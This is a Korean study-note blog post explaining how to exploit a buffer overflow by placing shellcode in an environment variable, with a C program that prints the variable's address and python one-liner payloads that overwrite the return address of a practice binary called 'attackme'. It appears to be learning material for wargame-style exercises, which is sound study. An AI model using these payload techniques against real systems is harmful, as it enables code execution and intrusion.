yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

BOF - 환경변수 이용하기 본문

컴퓨터 시스템/시스템 해킹

BOF - 환경변수 이용하기

yehey 2020. 9. 10. 00:15

환경변수

:시스템에서 사용하는 변수 (시스템의 설정이나 명령어의 경로 등이 저장되어있음)

-환경변수는 메모리 어딘가에 항상 저장되어 있다.

(*nic 계열의 쉘에서 환경변수는 포인터로 참조된다)

::BOF에서는 주로 overflow되는 버퍼의 크기가 쉘 코드가 들어갈 만큼 넉넉하지 않은 경우 사용

 

Linux에서 환경변수 추가하기

1. 환경변수 관련 shell 명령어: export, env 

env: 현재 지정되어 있는 환경변수 출력, 새로운 환경변수 설정 후 적용된 내용 출력

2. 1회성 환경변수 설정 방법 

  • export [변수명]=값 (변수명,= , 값 사이에 공백이 없어야 한다.) shell에서 사용

  • int putenv(char *string); (코드 상에서 사용, 성공 시에 0 반환, 실패 시 -1 반환, stdlib.h 헤더 필요)

환경변수 추가 방법 예시

3. 환경변수 목록 중 원하는 변수의 값, 주소 가져오기 

  • char *getenv(const char *name); (코드 상에서 사용, stdlib.h 헤더 필요)

//getaddr.c
#include <stdio.h>
#incldue <stdlib.h>

int main(int argc, char *argv[]){
	char *env;
    
    env=getenv("SHELLCODE");
    printf("value of SHELLCODE: %s",env);		
    //SHELLCODE 환경변수의 값을 읽어온다,여기서는 shellcode가 출력될 것
 	
    printf("address of SHELLCODE: %p",env);
    //SHELLCODE 환경변수의 주소를 출력한다. (환경변수 주소를 얻으려면 %p를 사용해야함)
    return 0;
}

 

  • echo $[환경변수 명] (쉘 상에서 하나의 환경변수만 출력) 

  • gdb 이용하기 (나중에...)

환경변수를 이용한 BOF

:환경변수를 하나 만들고, 환경변수에 쉘 코드를 넣어 환경변수의 address를 RET에 넣어줌으로써

쉘 코드를 실행시킨다.

 

1. 환경변수에 쉘 코드를 담아서 추가하기

환경변수에 쉘 코드 담아서 추가하는 예시

2. 위에서 작성한 getaddr.c 코드를 vi에디터로 작성, 컴파일 => getaddr 실행파일이 생성된다!

3. getaddr을 실행해서 환경변수 주소를 얻는다.

4. gdb를 이용해서 공격을 원하는 프로그램 구조를 파악한다.

5. BOF 공격을 위한 payload를 작성한다.

(스택 구조와 RET 주소를 알아야 한다!, payload 역시 파이썬 스크립트 언어를 이용해 작성한다.)

 

더보기

스크립트 언어를 이용한 exploit 코드 작성하기 (payload 작성 시 이용)

`python -c 'print("")'`

(strcpy취약점을 공격할 때 사용)

 

$(python -c 'print("")')

(gets취약점을 공격할 때 사용)

 

``또는 $() : python 전체를 감싼다.

one line command를 ''(single quatation)이 감싼다.

print명령은 ""(double quatation)안에 지정한 문자열을 출력하라는 뜻 (\x가 1바이트 단위)

-c 는 한줄 명령의 옵션

 

공격 payload 예시

./attackme `python -c 'print "A"*260+"\xf1\xfe\xff\xbf"'`

=> attackme 프로그램을 공격

 

(python -c 'print "\x90"*260+"\xf1\xfe\xff\xbf"';cat)| ./attackme

=>attackme 프로그램을 공격

'컴퓨터 시스템 > 시스템 해킹' 카테고리의 다른 글

BOF - NOP Sled (NOP Slide)  (0) 2020.09.09
버퍼 오버플로우 (BOF, Buffer OverFlow)  (0) 2020.09.09
Comments